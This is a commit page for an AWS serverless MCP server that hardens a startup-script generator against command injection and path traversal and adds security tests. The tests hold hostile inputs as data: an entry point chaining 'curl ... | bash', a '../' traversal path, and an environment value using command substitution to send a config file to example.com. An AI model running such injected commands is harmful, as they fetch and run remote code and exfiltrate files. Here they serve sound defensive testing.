Skip to content

Commit 46894ec

Browse files
Vandita2020Vandita Patidar
andauthored
input validation for startup script generator parameters (#2854)
Co-authored-by: Vandita Patidar <vanditap@amazon.com>
1 parent 9480a33 commit 46894ec

File tree

2 files changed

+237
-24
lines changed

2 files changed

+237
-24
lines changed

src/aws-serverless-mcp-server/awslabs/aws_serverless_mcp_server/tools/webapps/utils/startup_script_generator.py

Lines changed: 72 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,8 @@
1919
"""
2020

2121
import os
22+
import re
23+
import shlex
2224
import stat
2325
from loguru import logger
2426
from typing import Dict, Optional
@@ -68,10 +70,26 @@ async def generate_startup_script(
6870
"""
6971
startup_script_name = startup_script_name or get_default_startup_script_name(runtime)
7072
script_path = os.path.join(built_artifacts_path, startup_script_name)
71-
entry_point_path = os.path.join(built_artifacts_path, entry_point)
7273

7374
logger.info(f'Generating startup script for runtime: {runtime}, entry point: {entry_point}')
7475

76+
# Validate entry_point BEFORE checking file existence
77+
validate_entry_point(entry_point)
78+
79+
# Validate environment variables if provided
80+
if additional_env:
81+
validate_environment_variables(additional_env)
82+
83+
# Check for path traversal attacks
84+
entry_point_path = os.path.join(built_artifacts_path, entry_point)
85+
resolved_entry_point = os.path.realpath(entry_point_path)
86+
resolved_artifacts_path = os.path.realpath(built_artifacts_path)
87+
88+
if not resolved_entry_point.startswith(resolved_artifacts_path + os.sep):
89+
raise ValueError(
90+
'Path traversal detected: entry_point resolves outside built_artifacts_path'
91+
)
92+
7593
# Check if entry point exists
7694
if not os.path.exists(entry_point_path):
7795
error = EntryPointNotFoundError(entry_point, built_artifacts_path)
@@ -121,6 +139,43 @@ def get_default_startup_script_name(runtime: str) -> str:
121139
return 'bootstrap'
122140

123141

142+
def validate_entry_point(entry_point: str) -> None:
143+
"""Validate entry point against allowlist regex to prevent command injection.
144+
145+
Args:
146+
entry_point: Application entry point to validate
147+
148+
Raises:
149+
InvalidEntryPointError: If entry point contains invalid characters
150+
"""
151+
# Allowlist: only alphanumeric, dots, underscores, hyphens, and forward slashes
152+
if not re.match(r'^[a-zA-Z0-9._/-]+$', entry_point):
153+
raise ValueError(
154+
'Entry point contains invalid characters. Only alphanumeric characters, dots, underscores, hyphens, and forward slashes are allowed.'
155+
)
156+
157+
158+
def validate_environment_variables(additional_env: Dict[str, str]) -> None:
159+
"""Validate environment variable keys and values.
160+
161+
Args:
162+
additional_env: Dictionary of environment variables to validate
163+
164+
Raises:
165+
InvalidEnvironmentVariableError: If any key or value is invalid
166+
"""
167+
for key, value in additional_env.items():
168+
# Environment variable keys should follow POSIX naming conventions
169+
if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*$', key):
170+
raise ValueError(
171+
'Environment variable key must start with a letter or underscore and contain only alphanumeric characters and underscores'
172+
)
173+
174+
# Check for null bytes in values which can cause issues
175+
if '\0' in value:
176+
raise ValueError('Environment variable value contains null bytes')
177+
178+
124179
def generate_script_content(
125180
runtime: str, entry_point: str, additional_env: Optional[Dict[str, str]] = None
126181
) -> str:
@@ -132,25 +187,30 @@ def generate_script_content(
132187
additional_env: Additional environment variables
133188
134189
Returns:
135-
str: Script content
190+
str: Script content with properly escaped values
136191
"""
137-
# Generate environment variables setup
192+
# Sanitize entry_point to prevent command injection
193+
safe_entry_point = shlex.quote(entry_point)
194+
195+
# Generate environment variables setup with proper escaping
138196
env_setup = ''
139197
if additional_env:
140198
env_vars = []
141199
for key, value in additional_env.items():
142-
env_vars.append(f'export {key}="{value}"')
200+
# Key is already validated, but value needs escaping
201+
safe_value = shlex.quote(value)
202+
env_vars.append(f'export {key}={safe_value}')
143203
env_setup = '\n'.join(env_vars) + '\n\n'
144204

145205
if runtime.startswith('nodejs'):
146206
return f"""#!/bin/bash
147207
{env_setup}# Start the application
148-
exec node {entry_point}
208+
exec node {safe_entry_point}
149209
"""
150210
elif runtime.startswith('python'):
151211
return f"""#!/bin/bash
152212
{env_setup}# Start the application
153-
exec python {entry_point}
213+
exec python {safe_entry_point}
154214
"""
155215
elif runtime.startswith('java'):
156216
# Determine if it's a JAR file or a class
@@ -159,31 +219,31 @@ def generate_script_content(
159219
if is_jar:
160220
return f"""#!/bin/bash
161221
{env_setup}# Start the application
162-
exec java -jar {entry_point}
222+
exec java -jar {safe_entry_point}
163223
"""
164224
else:
165225
return f"""#!/bin/bash
166226
{env_setup}# Start the application
167-
exec java {entry_point}
227+
exec java {safe_entry_point}
168228
"""
169229
elif runtime.startswith('dotnet'):
170230
return f"""#!/bin/bash
171231
{env_setup}# Start the application
172-
exec dotnet {entry_point}
232+
exec dotnet {safe_entry_point}
173233
"""
174234
elif runtime.startswith('go'):
175235
return f"""#!/bin/bash
176236
{env_setup}# Start the application
177-
exec ./{entry_point}
237+
exec ./{safe_entry_point}
178238
"""
179239
elif runtime.startswith('ruby'):
180240
return f"""#!/bin/bash
181241
{env_setup}# Start the application
182-
exec ruby {entry_point}
242+
exec ruby {safe_entry_point}
183243
"""
184244
else:
185245
# Generic script for unknown runtimes
186246
return f"""#!/bin/bash
187247
{env_setup}# Start the application
188-
exec {entry_point}
248+
exec {safe_entry_point}
189249
"""

src/aws-serverless-mcp-server/tests/test_startup_script_generator.py

Lines changed: 165 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -74,8 +74,8 @@ def test_generate_script_content_nodejs_with_env(self):
7474
result = generate_script_content(runtime, entry_point, additional_env)
7575

7676
expected = """#!/bin/bash
77-
export NODE_ENV="production"
78-
export PORT="3000"
77+
export NODE_ENV=production
78+
export PORT=3000
7979
8080
# Start the application
8181
exec node server.js
@@ -104,8 +104,8 @@ def test_generate_script_content_python_with_env(self):
104104
result = generate_script_content(runtime, entry_point, additional_env)
105105

106106
expected = """#!/bin/bash
107-
export PYTHONPATH="/app"
108-
export DEBUG="true"
107+
export PYTHONPATH=/app
108+
export DEBUG=true
109109
110110
# Start the application
111111
exec python main.py
@@ -274,10 +274,10 @@ async def test_generate_startup_script_with_env_vars(self):
274274

275275
assert result == 'bootstrap'
276276

277-
# Verify script content includes environment variables
277+
# Verify script content includes environment variables (shlex.quote format)
278278
written_content = ''.join(call.args[0] for call in mock_file().write.call_args_list)
279-
assert 'export NODE_ENV="production"' in written_content
280-
assert 'export PORT="8080"' in written_content
279+
assert 'export NODE_ENV=production' in written_content
280+
assert 'export PORT=8080' in written_content
281281

282282
@pytest.mark.asyncio
283283
async def test_generate_startup_script_entry_point_not_found(self):
@@ -369,11 +369,11 @@ def test_generate_script_content_environment_variable_escaping(self):
369369

370370
result = generate_script_content(runtime, entry_point, additional_env)
371371

372-
# All values should be wrapped in double quotes
373-
assert 'export SIMPLE_VAR="value"' in result
374-
assert 'export VAR_WITH_QUOTES="value with "quotes""' in result
375-
assert 'export VAR_WITH_SPACES="value with spaces"' in result
376-
assert 'export VAR_WITH_SPECIAL="value$with&special*chars"' in result
372+
# shlex.quote() wraps simple values without quotes, and complex values in single quotes
373+
assert 'export SIMPLE_VAR=value' in result
374+
assert 'export VAR_WITH_QUOTES=\'value with "quotes"\'' in result
375+
assert "export VAR_WITH_SPACES='value with spaces'" in result
376+
assert "export VAR_WITH_SPECIAL='value$with&special*chars'" in result
377377

378378
@pytest.mark.asyncio
379379
async def test_generate_startup_script_file_write_error(self):
@@ -408,3 +408,156 @@ async def test_generate_startup_script_chmod_error(self):
408408
):
409409
with pytest.raises(OSError, match='Permission denied'):
410410
await generate_startup_script(runtime, entry_point, built_artifacts_path)
411+
412+
"""Security tests for command injection vulnerabilities."""
413+
414+
@pytest.mark.asyncio
415+
async def test_entry_point_command_injection_blocked(self):
416+
"""Test that entry_point with command injection attempts is rejected."""
417+
runtime = 'nodejs18.x'
418+
entry_point = 'app.js; curl http://example.com/script.sh | bash'
419+
built_artifacts_path = '/dir/artifacts'
420+
421+
with patch('os.path.exists', return_value=True):
422+
with pytest.raises(ValueError, match='Entry point contains invalid characters'):
423+
await generate_startup_script(runtime, entry_point, built_artifacts_path)
424+
425+
@pytest.mark.asyncio
426+
async def test_entry_point_path_traversal_blocked(self):
427+
"""Test that path traversal in entry_point is rejected."""
428+
runtime = 'nodejs18.x'
429+
entry_point = '../../../system/config'
430+
built_artifacts_path = '/dir/artifacts'
431+
432+
with patch('os.path.exists', return_value=True):
433+
with pytest.raises(
434+
ValueError,
435+
match='(Entry point contains invalid characters|Path traversal detected)',
436+
):
437+
await generate_startup_script(runtime, entry_point, built_artifacts_path)
438+
439+
@pytest.mark.asyncio
440+
async def test_env_variable_command_substitution_escaped(self):
441+
"""Test that command substitution in environment variables is properly escaped."""
442+
runtime = 'nodejs18.x'
443+
entry_point = 'app.js'
444+
built_artifacts_path = '/dir/artifacts'
445+
additional_env = {'DB_URL': '$(curl example.com/data?query=$(cat /path/to/config))'}
446+
447+
mock_file = mock_open()
448+
mock_stat_result = MagicMock()
449+
mock_stat_result.st_mode = 0o644
450+
451+
with (
452+
patch('os.path.exists', return_value=True),
453+
patch('os.path.realpath', side_effect=lambda x: x),
454+
patch('builtins.open', mock_file),
455+
patch('os.stat', return_value=mock_stat_result),
456+
patch('os.chmod'),
457+
):
458+
await generate_startup_script(
459+
runtime, entry_point, built_artifacts_path, additional_env=additional_env
460+
)
461+
462+
written_content = ''.join(call.args[0] for call in mock_file().write.call_args_list)
463+
# Single quotes prevent command substitution in bash
464+
assert "'$(curl example.com/data?query=$(cat /path/to/config))'" in written_content
465+
# Ensure it's not in double quotes (which would allow execution)
466+
assert '"$(curl example.com/data?query=$(cat /path/to/config))"' not in written_content
467+
468+
@pytest.mark.asyncio
469+
async def test_env_variable_invalid_key_rejected(self):
470+
"""Test that environment variable keys with invalid characters are rejected."""
471+
runtime = 'nodejs18.x'
472+
entry_point = 'app.js'
473+
built_artifacts_path = '/dir/artifacts'
474+
additional_env = {
475+
'INVALID-KEY': 'value' # Hyphens not allowed in POSIX env var names
476+
}
477+
478+
with (
479+
patch('os.path.exists', return_value=True),
480+
patch('os.path.realpath', side_effect=lambda x: x),
481+
):
482+
with pytest.raises(
483+
ValueError, match='Environment variable key must start with a letter'
484+
):
485+
await generate_startup_script(
486+
runtime, entry_point, built_artifacts_path, additional_env=additional_env
487+
)
488+
489+
@pytest.mark.asyncio
490+
async def test_env_variable_null_byte_rejected(self):
491+
"""Test that environment variable values with null bytes are rejected."""
492+
runtime = 'nodejs18.x'
493+
entry_point = 'app.js'
494+
built_artifacts_path = '/dir/artifacts'
495+
additional_env = {'DB_URL': 'value\x00malicious'}
496+
497+
with (
498+
patch('os.path.exists', return_value=True),
499+
patch('os.path.realpath', side_effect=lambda x: x),
500+
):
501+
with pytest.raises(ValueError, match='Environment variable value contains null bytes'):
502+
await generate_startup_script(
503+
runtime, entry_point, built_artifacts_path, additional_env=additional_env
504+
)
505+
506+
@pytest.mark.asyncio
507+
async def test_valid_entry_point_accepted(self):
508+
"""Test that valid entry_point values are accepted."""
509+
runtime = 'nodejs18.x'
510+
entry_points = [
511+
'app.js',
512+
'src/app.js',
513+
'dist/server.js',
514+
'app-server.js',
515+
'app_server.js',
516+
'./app.js',
517+
]
518+
built_artifacts_path = '/dir/artifacts'
519+
520+
mock_file = mock_open()
521+
mock_stat_result = MagicMock()
522+
mock_stat_result.st_mode = 0o644
523+
524+
for entry_point in entry_points:
525+
with (
526+
patch('os.path.exists', return_value=True),
527+
patch('builtins.open', mock_file),
528+
patch('os.stat', return_value=mock_stat_result),
529+
patch('os.chmod'),
530+
patch('os.path.realpath', side_effect=lambda x: x),
531+
):
532+
result = await generate_startup_script(runtime, entry_point, built_artifacts_path)
533+
assert result == 'bootstrap'
534+
535+
@pytest.mark.asyncio
536+
async def test_valid_env_variables_accepted(self):
537+
"""Test that valid environment variables are accepted."""
538+
runtime = 'nodejs18.x'
539+
entry_point = 'app.js'
540+
built_artifacts_path = '/dir/artifacts'
541+
additional_env = {
542+
'NODE_ENV': 'production',
543+
'PORT': '3000',
544+
'DB_HOST': 'localhost',
545+
'_PRIVATE_VAR': 'value',
546+
'VAR123': 'value',
547+
}
548+
549+
mock_file = mock_open()
550+
mock_stat_result = MagicMock()
551+
mock_stat_result.st_mode = 0o644
552+
553+
with (
554+
patch('os.path.exists', return_value=True),
555+
patch('os.path.realpath', side_effect=lambda x: x),
556+
patch('builtins.open', mock_file),
557+
patch('os.stat', return_value=mock_stat_result),
558+
patch('os.chmod'),
559+
):
560+
result = await generate_startup_script(
561+
runtime, entry_point, built_artifacts_path, additional_env=additional_env
562+
)
563+
assert result == 'bootstrap'

0 commit comments

Comments
 (0)